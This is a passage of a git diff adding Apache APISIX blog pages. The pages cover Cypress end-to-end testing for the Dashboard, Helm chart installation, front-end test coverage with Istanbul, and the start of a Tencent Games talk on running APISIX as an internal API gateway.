+<p>The Apache APISIX Dashboard is designed to make it as easy as possible for users to operate Apache APISIX through a front-end interface, and since the project’s inception, there have been 552 commits and 10 releases. With such rapid product iteration, it is important to ensure the quality of the open-source product. For this reason, we have introduced an E2E testing module to ensure stable product delivery.</p>
+<h2 id="what-is-front-end-e2e">What is Front-End E2E</h2>
+<p>E2E, which stands for “End to End”, can be translated as “end-to-end” testing. It mimics user behavior, starting with an entry point and executing actions step-by-step until a job is completed. Sound testing prevents code changes from breaking the original logic.</p>
+<h2 id="why-cypress">Why Cypress</h2>
+<p>We used Taiko, Puppeteer, TestCafe, and Cypress to write test cases for creating routes during the selection research period, and we used each testing framework to write cases to experience their respective features.</p>
+<p>Taiko is characterized by smart selector, which can intelligently locate the elements that you want to operate based on text content and location relations, and has a low start-up cost, so you can finish the test cases quickly. However, it is not user-friendly when writing test cases. When the user exits the terminal by mistake, all the written test cases are lost, and if you want to run a complete test case, you need to use it together with other test runners, which undoubtedly incre [...]
+<p>Puppeteer has the best performance. However, testing is not the focus of Puppeteer. It is widely used for web crawlers. Our project started with Puppeteer, the official E2E testing framework recommended by ANTD, and after using it for a while we found that Puppeteer did not look so friendly to non-front-end developers and it was hard to get other users involved. When users write test cases, the lack of intelligent element positioning makes the learning curve very high.</p>
+<p>TestCafe is surprisingly easy to install, it has a built-in waiting mechanism so that users don’t have to actively sleep waiting for page interactions, and it supports concurrent multi-browser testing, which is helpful for multi-browser compatibility testing. The disadvantage is that its debugging process is not so user-friendly, and you have to run a new use case after each test case change. For the developers, they need to have some basic Javascript syntax. Secondly, its running spe [...]
+<p>After a comprehensive comparison, we finally chose Cypress as our front-end E2E framework, listing four main reasons:</p>
+<ol>
+<li>Simple syntax</li>
+</ol>
+<p>The syntax used in Cypress tests is very simple and easy to read and write. With a little practice, you can master creating test cases, which is important for open source projects because it allows the community interested in E2E test cases to participate in writing test cases with minimal learning cost.</p>
+<ol start="2">
+<li>Easy debugging</li>
+</ol>
+<p>When debugging test cases, we can use Cypress’s Test Runner, which presents multi-dimensional data that allows us to quickly pinpoint the problem.</p>
+<ul>
+<li>Showing the status of the test case execution, including the number of successes, failures, and runs in progress.</li>
+<li>Displaying the total time spent on the execution of the entire test set.</li>
+<li>A built-in Selector Playground to help locate elements.</li>
+<li>shows each step of execution for each use case and forms a snapshot that can show information about each execution step after it is completed.</li>
+</ul>
+<ol start="3">
+<li>Active community</li>
+</ol>
+<p>Cypress has a large community of users, and there are always many people inside the community sharing their experiences and ideas.</p>
+<p>This is helpful when encountering problems, and you are likely to encounter problems that others have encountered before. Also, when new features are requested, we can participate in the community by discussing and adding features to Cypress that we want to add, just like we do in the APISIX community: listening to the community and feeding it back.</p>
+<ol start="4">
+<li>Clear documentation</li>
+</ol>
+<p>Cypress’s documentation structure is clearer and more comprehensive. In the early stages of use, we were able to quickly introduce Cypress into our project and write our first case based on the official documentation guidelines. In addition, there is a large amount of documentation available on the documentation site that gives users good guidance on what is best practice.</p>
+<h2 id="cypress-and-apisix-dashboard">Cypress and APISIX Dashboard</h2>
+<p>There are currently 49 test cases written for the APISIX Dashboard. We configured the corresponding CI in GitHub Action to ensure that the code passes before each merge to ensure code quality. We share the use of Cypress in APISIX Dashboard with you by referring to Cypress best practices and combining them with our project.</p>
+<p><img src="https://static.apiseven.com/202102/image.png" alt="image"></p>
+<ol>
+<li>Commonly used functions are encapsulated into commands.</li>
+</ol>
+<p>Take login as an example, login is an essential part of entering the system, so we encapsulate it as a command, so that the login command can be called before each case run.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>Cypress.Commands.add("login", () => {</span></span>
+<span class="line"><span> cy.request(</span></span>
+<span class="line"><span> "POST",</span></span>
+<span class="line"><span> 'http://127.0.0.1/apisix/admin/user/login',</span></span>
+<span class="line"><span> {</span></span>
+<span class="line"><span> username: "user",</span></span>
+<span class="line"><span> password: "user",</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span> ).then((res) => {</span></span>
+<span class="line"><span> expect(res.body.code).to.equal(0);</span></span>
+<span class="line"><span> localStorage.setItem("token", res.body.data.token);</span></span>
+<span class="line"><span> });</span></span>
+<span class="line"><span>});</span></span></code></pre>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>beforeEach(() => {</span></span>
+<span class="line"><span> // init login</span></span>
+<span class="line"><span> cy.login();</span></span>
+<span class="line"><span>})</span></span></code></pre>
+<ol start="2">
+<li>Extract the selector and data as public variables.</li>
+</ol>
+<p>To make it more intuitive for the user to understand the meaning of the test code, we extract a selector and data as public variables.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span> const data = {</span></span>
+<span class="line"><span> name: 'hmac-auth',</span></span>
+<span class="line"><span> deleteSuccess: 'Delete Plugin Successfully',</span></span>
+<span class="line"><span> };</span></span>
+<span class="line"><span> const domSelector = {</span></span>
+<span class="line"><span> tableCell: '.ant-table-cell',</span></span>
+<span class="line"><span> empty: '.ant-empty-normal',</span></span>
+<span class="line"><span> refresh: '.anticon-reload',</span></span>
+<span class="line"><span> codemirror: '.CodeMirror',</span></span>
+<span class="line"><span> switch: '#disable',</span></span>
+<span class="line"><span> deleteBtn: '.ant-btn-dangerous',</span></span>
+<span class="line"><span> };</span></span></code></pre>
+<ol start="3">
+<li>Remove cy.wait(someTime)</li>
+</ol>
+<p>We used cy.wait(someTime) in the early days of Cypress, but found that cy.wait(someTime) relies too much on the network environment and the performance of the test machine, which can cause test cases to report errors when the network environment or machine performance is poor. The recommended practice is to use it in conjunction with cy.intercept() to explicitly specify the network resources to wait for.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="javascript"><code><span class="line"><span style="color:#E6EDF3">cy.</span><span style="color:#D2A8FF">intercept</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"https://apisix.apache.org/"</span><span style="color:#E6EDF3">).</span><span style="color:#D2A8FF">as</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF [...]
+<span class="line"><span style="color:#E6EDF3">cy.</span><span style="color:#D2A8FF">wait</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"@fetchURL"</span><span style="color:#E6EDF3">);</span></span></code></pre>
+<h2 id="summary">Summary</h2>
+<p>At present, APISIX Dashboard has written 49 test cases. In the future, we will continue to enhance the front-end E2E coverage, and require the community to agree to write test cases for each new feature or bugfix submission to ensure the stability of the product.</p>
+<p>Welcome to join us to polish the world-class gateway product.</p>
+<p>Project repository: <a href="https://github.com/apache/apisix-dashboard">https://github.com/apache/apisix-dashboard</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/securi [...]
\ No newline at end of file
diff --git a/blog/2021/02/26/install-apache-apisix-from-helm-charts/index.html b/blog/2021/02/26/install-apache-apisix-from-helm-charts/index.html
new file mode 100644
index 00000000000..53e45422142
--- /dev/null
+++ b/blog/2021/02/26/install-apache-apisix-from-helm-charts/index.html
@@ -0,0 +1,42 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Install Apache APISIX from Helm Charts | Apache APISIX</title><meta name="description" content="API7.ai released a Helm Charts repository. Users can easily install Apache APISIX, Apache apisix-dashboard, and Apache apisix-ingress-controller from it."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021 [...]
+<p>A few days ago, <a href="https://www.apiseven.com/">API7.ai</a> released an online Helm Charts repository. Users can easily install Apache APISIX, Apache apisix-dashboard and Apache apisix-ingress-controller from it (rather than cloning the corresponding project in advance).</p>
+</blockquote>
+<!--truncate-->
+<h2 id="how-to-use">How To Use</h2>
+<p>Just a few steps to install Apache APISIX</p>
+<ol>
+<li>
+<p>Add the repository and fetch the update</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="sh"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> https://charts.apiseven.com</span></span>
+<span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> update</span></span></code></pre>
+</li>
+<li>
+<p>Check out the available charts in repository</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="sh"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> helm</span><span style="color:#A5D6FF"> search</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> apisix</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> CHART</span><span style="color:#A5D6FF"> VERSION</span><span style="color:#A5D6FF"> APP</span><span style="color:#A5D6FF"> VERSION</span><span style="color:#A5D6FF"> DESCRIPTION</span></span>
+<span class="line"><span style="color:#FFA657">apisix/apisix</span><span style="color:#79C0FF"> 0.1.2</span><span style="color:#79C0FF"> 2.1.0</span><span style="color:#A5D6FF"> A</span><span style="color:#A5D6FF"> Helm</span><span style="color:#A5D6FF"> chart</span><span style="color:#A5D6FF"> for</span><span style="color:#A5D6FF"> Apache</span><span style="color:#A5D6FF"> APISIX</span></span>
+<span class="line"><span style="color:#FFA657">apisix/apisix-dashboard</span><span style="color:#79C0FF"> 0.1.0</span><span style="color:#79C0FF"> 2.3.0</span><span style="color:#A5D6FF"> A</span><span style="color:#A5D6FF"> Helm</span><span style="color:#A5D6FF"> chart</span><span style="color:#A5D6FF"> for</span><span style="color:#A5D6FF"> Apache</span><span style="color:#A5D6FF"> APISIX</span><span style="color:#A5D6FF"> Dashboard</span></span></code></pre>
+</li>
+<li>
+<p>Install Apache APISIX to your Kubernetes cluster</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="sh"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> apisix-gw</span><span style="color:#A5D6FF"> apisix/apisix</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> default</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">NAME:</span><span style="color:#A5D6FF"> apisix-gw</span></span>
+<span class="line"><span style="color:#FFA657">LAST</span><span style="color:#A5D6FF"> DEPLOYED:</span><span style="color:#A5D6FF"> Fri</span><span style="color:#A5D6FF"> Feb</span><span style="color:#79C0FF"> 19</span><span style="color:#A5D6FF"> 11:34:14</span><span style="color:#79C0FF"> 2021</span></span>
+<span class="line"><span style="color:#FFA657">NAMESPACE:</span><span style="color:#A5D6FF"> default</span></span>
+<span class="line"><span style="color:#FFA657">STATUS:</span><span style="color:#A5D6FF"> deployed</span></span>
+<span class="line"><span style="color:#FFA657">REVISION:</span><span style="color:#79C0FF"> 1</span></span>
+<span class="line"><span style="color:#FFA657">TEST</span><span style="color:#A5D6FF"> SUITE:</span><span style="color:#A5D6FF"> None</span></span>
+<span class="line"><span style="color:#FFA657">NOTES:</span></span>
+<span class="line"><span style="color:#FFA657">1.</span><span style="color:#A5D6FF"> Get</span><span style="color:#A5D6FF"> the</span><span style="color:#A5D6FF"> application</span><span style="color:#A5D6FF"> URL</span><span style="color:#A5D6FF"> by</span><span style="color:#A5D6FF"> running</span><span style="color:#A5D6FF"> these</span><span style="color:#A5D6FF"> commands:</span></span>
+<span class="line"><span style="color:#FF7B72"> export</span><span style="color:#E6EDF3"> NODE_PORT</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">$(</span><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> default</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> jsonpath="{.spec.ports[0].nodePort}"</span><span style="color:#A5D6FF"> se [...]
+<span class="line"><span style="color:#FF7B72"> export</span><span style="color:#E6EDF3"> NODE_IP</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">$(</span><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> nodes</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> default</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> jsonpath="{.items[0].status.address [...]
+<span class="line"><span style="color:#79C0FF"> echo</span><span style="color:#A5D6FF"> http://</span><span style="color:#E6EDF3">$NODE_IP</span><span style="color:#A5D6FF">:</span><span style="color:#E6EDF3">$NODE_PORT</span></span></code></pre>
+</li>
+</ol>
+<h2 id="reference">Reference</h2>
+<ul>
+<li><a href="https://github.com/apache/apisix-helm-chart">https://github.com/apache/apisix-helm-chart</a></li>
+<li><a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/03/02/get-front-end-test-coverage-with-cypress/index.html b/blog/2021/03/02/get-front-end-test-coverage-with-cypress/index.html
new file mode 100644
index 00000000000..abc964a008e
--- /dev/null
+++ b/blog/2021/03/02/get-front-end-test-coverage-with-cypress/index.html
@@ -0,0 +1,69 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Get E2E Test Coverage with Cypress | Apache APISIX</title><meta name="description" content="Collect front-end E2E test coverage with Cypress and Istanbul. Measure code coverage for APISIX Dashboard UI testing."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/03/02/get-front-end-test-coverage-with- [...]
+<p>In the article <a href="/blog/2021/02/08/stable-product-delivery-with-cypress">“Stable Product Delivery with Cypress”</a>, we discussed why we chose Cypress as our E2E testing framework. After spending nearly two months refining the test cases, we needed test coverage to quantify whether the test coverage was sufficient.This article will describe how to get APISIX Dashboard front-end E2E coverage using Cypress.</p>
+</blockquote>
+<!--truncate-->
+<blockquote>
+<p>Source:</p>
+<ul>
+<li><a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a></li>
+<li><a href="https://github.com/apache/apisix-dashboard">https://github.com/apache/apisix-dashboard</a></li>
+</ul>
+</blockquote>
+<h2 id="what-is-code-coverage">What is code coverage</h2>
+<p>Code coverage is a metric in software testing that describes the proportion and extent to which the source code in a program is tested, and the resulting proportion is called code coverage. Test code coverage reflects the health of the code to a certain extent.</p>
+<h2 id="installation-dependencies--configuration">Installation Dependencies & Configuration</h2>
+<p>To collect test coverage data, we need to put some probes in the original business code for Cypress to collect the data.</p>
+<p>Cypress officially recommends two approaches, the first is to generate a temporary directory via <code>nyc</code> and run the code that has been written to the probe to collect test coverage data. The second way is to do the code conversion in real time through the code conversion pipeline, which eliminates the hassle of temporary folders and makes collecting test coverage data relatively refreshing. We choose the second way to collect front-end E2E coverage.</p>
+<ol>
+<li>Installing Dependencies</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">yarn</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> babel-plugin-istanbul</span><span style="color:#79C0FF"> --dev</span></span></code></pre>
+<ol start="2">
+<li>Install the cypress plug-in</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">yarn</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> @cypress/code-coverage</span><span style="color:#79C0FF"> --dev</span></span></code></pre>
+<ol start="3">
+<li>Configuring babel</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="ts"><code><span class="line"><span style="color:#8B949E">// web/config/config.ts</span></span>
+<span class="line"><span style="color:#FFA657">extraBabelPlugins</span><span style="color:#E6EDF3">: [</span></span>
+<span class="line"><span style="color:#E6EDF3"> [</span><span style="color:#A5D6FF">'babel-plugin-istanbul'</span><span style="color:#E6EDF3">, {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "exclude"</span><span style="color:#E6EDF3">: [</span><span style="color:#A5D6FF">"**/.umi"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"**/locales"</span><span style="color:#E6EDF3">]</span></span>
+<span class="line"><span style="color:#E6EDF3"> }],</span></span>
+<span class="line"><span style="color:#E6EDF3"> ],</span></span></code></pre>
+<ol start="4">
+<li>Configuring Cypress code coverage plugin</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>// web/cypress/plugins/index.js</span></span>
+<span class="line"><span>module.exports = (on, config) => {</span></span>
+<span class="line"><span> require('@cypress/code-coverage/task')(on, config);</span></span>
+<span class="line"><span> return config;</span></span>
+<span class="line"><span>};</span></span></code></pre>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>// web/cypress/support/index.js</span></span>
+<span class="line"><span></span></span></code></pre>
+<ol start="5">
+<li>Get Test Coverage</li>
+</ol>
+<p>After the configuration is done, we need to run the test case. After the test case is run, Cypress will generate <code>coverage</code> and <code>.nyc_output</code> folders, which contain the test coverage reports.</p>
+<p><img src="https://lh4.googleusercontent.com/o-tyQagmCjprpNkuTjMFLaALZKtW4pyC9nj-GcPx4MM3xK0zrMED9Nndk5ZmZkZsQ5SIJPEovcrHyjWP2YXtEcYYDpLL49aV_97N83doTkOuMXlFsVjGu53A9FdlxOCr6i3aIDTA" alt="1.png"></p>
+<p>The test coverage information will appear in the console after executing the following command.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">npx</span><span style="color:#A5D6FF"> nyc</span><span style="color:#A5D6FF"> report</span><span style="color:#79C0FF"> --reporter=text-summary</span></span></code></pre>
+<p><img src="https://lh4.googleusercontent.com/n0CON1WF64wEnh3IYEc3wwwOJ2Ft_WmMLfkhOPKIKxoW0NP6Eq8VplJ87EepL5zIWOeyfJhlDmhc3ImE0ivgRlXWe1RuW2x7vL_JEri7Mz6b3tOY0it8bVvUe83CAHNgeoyXZnsy" alt="2.png"></p>
+<p>Under the coverage directory, a more detailed report page will be available, as shown here.</p>
+<p><img src="https://lh4.googleusercontent.com/skjR9YUcbmeytfoYnR0it7Vfc7mheCJDt7PSUsp549IbOdfqskTrIOqUXw01e0fnuNwpGoo3GtqAER3eQjNoTIdmU7HY6hc_sZ5NYc3h-MyxqmVz_NaC3AM-J4rWJFy-9IoTWjpn" alt="3.png"></p>
+<ul>
+<li>
+<p>Statements indicates whether each statement was executed</p>
+</li>
+<li>
+<p>Branches indicates whether each if block was executed</p>
+</li>
+<li>
+<p>Functions indicates whether each function is called</p>
+</li>
+<li>
+<p>Lines indicates whether each line was executed</p>
+</li>
+</ul>
+<h2 id="summary">Summary</h2>
+<p>The test coverage rate reflects the quality of the project to a certain extent. At present, APISIX Dashboard front-end E2E coverage rate has reached 71.57%. We will continue to work with the community to enhance the test coverage rate and provide more reliable and stable products for users.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a [...]
\ No newline at end of file
diff --git a/blog/2021/05/24/tencent-games/index.html b/blog/2021/05/24/tencent-games/index.html
new file mode 100644
index 00000000000..699668ab202
--- /dev/null
+++ b/blog/2021/05/24/tencent-games/index.html
@@ -0,0 +1,165 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>API Gateway Practice in Tencent with APISIX | Apache APISIX</title><meta name="description" content="This article introduces what a gateway is and its improvement to the traditional service architecture, and the implementation of APISIX within Tencent."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2 [...]
+<p>This article is a lecture note from the speech given by Xin Xu, an engineer in charge of internal container platform of Tencent Games, at the Apache APISIX Meetup - Shenzhen. By reading this article, you can not only learn what a gateway is and how the gateway model improves the traditional service architecture, but also understand the reasons for the birth of Tencent OTeam and how Apache APISIX is implemented inside Tencent.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="what-is-an-api-gateway">What is an API Gateway?</h2>
+<h3 id="traditional-architecture">Traditional architecture</h3>
+<p>Before integrating with API Gateway, we have few ways to reuse some general functionalities, such as:</p>
+<ul>
+<li>
+<p>Security: authentication, authorization, anti-replay, anti-tampering, anti-DDoS, etc.</p>
+</li>
+<li>
+<p>Reliability: service degradation, fusing, traffic limiting, and so on.</p>
+</li>
+</ul>
+<p>Under the traditional architecture, the most common way to deal with this case is to put them into a service framework and implement them through AOP, similar to the following architecture diagram:</p>
+<p><img src="https://static.apiseven.com/202108/1630640321175-ee272ad4-d8ee-45f3-8b67-9630fb534a82.png" alt="Traditional architecture"></p>
+<p>The traditional architecture diagram has the following modules.</p>
+<ul>
+<li>
+<p>Backend: Backend services</p>
+</li>
+<li>
+<p>AOP: AOP layering carried by the framework;</p>
+</li>
+<li>
+<p>SD: Service Center, used for internal service discovery. In cloud-native technologies, we often use Service to replace this component;</p>
+</li>
+<li>
+<p>LB: Load balancer, we use it on the network boundary as an entry point for external traffic.</p>
+</li>
+</ul>
+<p>This kind of architecture was widespread in the design of the early years, which gave birth to many extensive and comprehensive service frameworks, such as Dubbo, SpringCloud, etc., and we will find that most of them have many similar features.</p>
+<p>The advantage of this architecture is that the upstream and downstream relationships are more accessible and more apparent, and it reduces one forwarding in the network transmission. But their disadvantages are also obvious:</p>
+<ul>
+<li>
+<p>Standard features force business service updates: since code references are used, we have to recompile business services to make the features effective. Some teams that do not achieve rolling release have to release during the idle of the business.</p>
+</li>
+<li>
+<p>Hard to manage versions: Since we cannot upgrade all services to the latest version every time we release, after a period, the performance of various services will be inconsistent.</p>
+</li>
+</ul>
+<p>Why not put those same functions in a standalone service, which can upgrade or maintain separately?</p>
+<h3 id="gateway-mode">Gateway mode</h3>
+<p><img src="https://static.apiseven.com/202108/1630640321180-bd19ad6c-6116-4982-98e8-3b626285ed03.png" alt="Gateway mode"></p>
+<p>Compared with traditional architecture, We can see an additional component between the backend services and the LB: Gateway.</p>
+<p>A gateway usually contains many standard and reusable features, such as Authentication, Traffic Management, etc. The following are the benefits we could get:</p>
+<ul>
+<li>
+<p>Gateway is a dependent component on the systems, and we could have a better maintain experience.</p>
+</li>
+<li>
+<p>Gateway is language-independent.</p>
+</li>
+</ul>
+<p>However, the gateway mode also has its disadvantages:</p>
+<ul>
+<li>
+<p>Because we proxy traffic to the gateway first, we have one more forwarding and higher latency. It will cause a higher complexity of troubleshooting problems.</p>
+</li>
+<li>
+<p>If the gateway does not work correctly, it may become a bottleneck for the entire system.</p>
+</li>
+</ul>
+<p>How to balance the benefits and disadvantages of the gateway model is a challenge for the technical team. Let’s see how the Tencent OTeam works with Apache APISIX.</p>
+<h2 id="introduction">Introduction</h2>
+<h3 id="oteam">OTeam</h3>
+<p>Tencent’s OTeam is a group of teams, and every team maintains one or several technical products. They aim to build a stable but robust mid-platform for internal systems. One of the OTeam supports Tencent’s internal Apache APISIX customization distribution.</p>
+<p>In order to integrate the duplicate wheels within the company and sink the technical middle ground. Tencent put several technical products of the same nature into the same Oteam, integrating the maintenance staff and firing them all together, so that they could gradually merge into one big and comprehensive product, which is Oteam.</p>
+<p>Some Oteams have as many as a dozen products under them, while others have only one. For example, the Oteam where Apache APISIX is located has only one product, Apache APISIX. The original purpose of this Oteam is to maintain the customization features of Apache APISIX within Tencent.</p>
+<h3 id="apache-apisix">Apache APISIX</h3>
+<p><a href="https://apisix.apache.org/">Apache APISIX</a> is a Top-Level Project from the Apache Software Foundation, and here are some key points:</p>
+<ul>
+<li>
+<p>Apache APISIX is a cloud-native, dynamic API gateway based on OpenResty, with a higher routing performance than Kong.</p>
+</li>
+<li>
+<p>Apache APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.</p>
+</li>
+<li>
+<p>Apache APISIX is good at handling traditional north-south traffic, as well as east-west traffic between services. It can also be used as a k8s ingress controller.</p>
+</li>
+<li>
+<p>Apache APISIX default uses ETCD as the configuration center, which can update the configuration in seconds.</p>
+</li>
+<li>
+<p>Apache APISIX graduates from Apache Software Foundation and only takes a few months.</p>
+</li>
+</ul>
+<h2 id="tencent-oteams-operational-strategy">Tencent OTeam’s operational strategy</h2>
+<p><img src="https://static.apiseven.com/202108/1646831516782-bd2d1b56-0e63-4dc8-a53a-c891c6a11d6d.png" alt="OTeam operational strategy"></p>
+<p>The above diagram shows how the OTeam works with Apache APISIX’s community:</p>
+<ul>
+<li>
+<p>Users give feedback or requirements via GitHub Issue.</p>
+</li>
+<li>
+<p>OTeam members discuss solutions at weekly meetings or reply directly in Issue.</p>
+</li>
+<li>
+<p>Implement features or fix bugs according to discussion.</p>
+</li>
+<li>
+<p>Code Review and CI check, then release if necessary.</p>
+</li>
+</ul>
+<p>This process is just like other Open Source projects. Here are some key points:</p>
+<ul>
+<li>
+<p>After solving the Issue, Tencent engineers will determine whether the problem is also a common problem for the community. If so, they will file a PR to the community.</p>
+</li>
+<li>
+<p>Tencent OTeam will regularly review Apache APISIX’s new features to determine whether it is stable and whether it is also a pain point for Tencent. If the answer is yes, pick the relevant codes.</p>
+</li>
+</ul>
+<p>In the beginning, OTeam would sync codes with Apache APISIX every 12 hours so that we could follow up Apache APISIX quickly, but this approach brought some problems:</p>
+<ul>
+<li>
+<p>After syncing codes with Apache APISIX, we could make sure regulations are correct but couldn’t ensure the codes are stable. Some occasional errors happened in concurrency cases.</p>
+</li>
+<li>
+<p>The merged codes sometimes cause multiple PR upstream conflicts logically, but Apache APISIX and OTeam’s CI cannot detect this case. Only when we merge PRs to the master branch could we find something wrong happened.</p>
+</li>
+</ul>
+<p>For these reasons, OTeam is now moving to pick codes for required features after internal reviews.</p>
+<h2 id="oteam-trend">OTeam Trend</h2>
+<p>As of May 2021, OTeam has landed Apache APISIX for more than ten teams within Tencent, with the enormous daily business request traffic exceeding one billion. At the same time, OTeam has also developed more than ten features for Apache APISIX, including Service Discovery, RPC Protocol Conversion, and connect with the monitoring platform.</p>
+<p>At the same time, OTeam has also contributed some standard features to Apache APISIX’s community. At present, two members of the OTeam team are also PMCs of the Apache APISIX, and OTeam has contributed more than 50 PRs to the community. We believe that OTeam will keep cooperating with the Apache APISIX community in the future.</p>
+<h2 id="oteam-internal-features">OTeam Internal Features</h2>
+<h3 id="internal-pain-points">Internal pain points</h3>
+<p>OTeam’s primary responsibility is to maintain Apache APISIX’s features for Tencent. Let’s take a look at what pain points OTeam met.</p>
+<ul>
+<li>
+<p>The RPC framework is not friendly to the frontend: there are many legacy projects within Tencent that use the TARS framework, it does not directly support the HTTP protocol like TRPC, it only supports the most traditional TCP protocol of the RPC framework, and the transport content uses a specific binary protocol. We need to maintain an intermediate service to convert these interfaces into a frontend-friendly HTTP + JSON form.</p>
+</li>
+<li>
+<p>Diversification of service centers: There are many Service Centers in Tencent’s internal services, such as CL5, L5, Polaris, etc. Although we will gradually use the same Service Center, we will use multiple service centers simultaneously during this extended period. The initial Apache APISIX does not support this.</p>
+</li>
+<li>
+<p>Alarm: As a gateway, the alarm is not a direction it should pay attention to, but as a fundamental component, the alarm must be a required component to the team. How to solve the alarm problem is also a pain point.</p>
+</li>
+<li>
+<p>Security: Tencent has a large amount of traffic and security requirements. A log of toC products are using OTeam, and they have to face a large number of users’ misuse and attacks from the network. The most typical cases are DDos, replay, tampering requests, etc. Can we solve these issues at the gateway layer?</p>
+</li>
+</ul>
+<h3 id="problem-solving">Problem-solving</h3>
+<p><img src="https://static.apiseven.com/202108/1646831157962-78e0d276-37d9-4bf7-a841-b9600b0ce1f9.png" alt="OTeam arichitecture"></p>
+<p>The above diagram comes from a simplification of a landing case within Tencent. We can see several problems just raised have been solved in OTeam:</p>
+<ul>
+<li>
+<p>Protocol Conversion: based on Apache APISIX, OTeam achieves TRPC and TARS protocol conversion. Those who do not perform HTTP legacy services can directly use the conversion plugin in the gateway to attaining HTTP and RPC transfer requirements without writing intermediate services.</p>
+</li>
+<li>
+<p>Multiple Service Centers: We have contributed this feature to the community.
+Report to monitoring platform: Tencent OTeam uses plugins to connect with monitoring platforms. Users only need to do some configurations, and then the system will automatically report metrics, logs. By the way, users can configure alarm policies on the monitoring platform.</p>
+</li>
+<li>
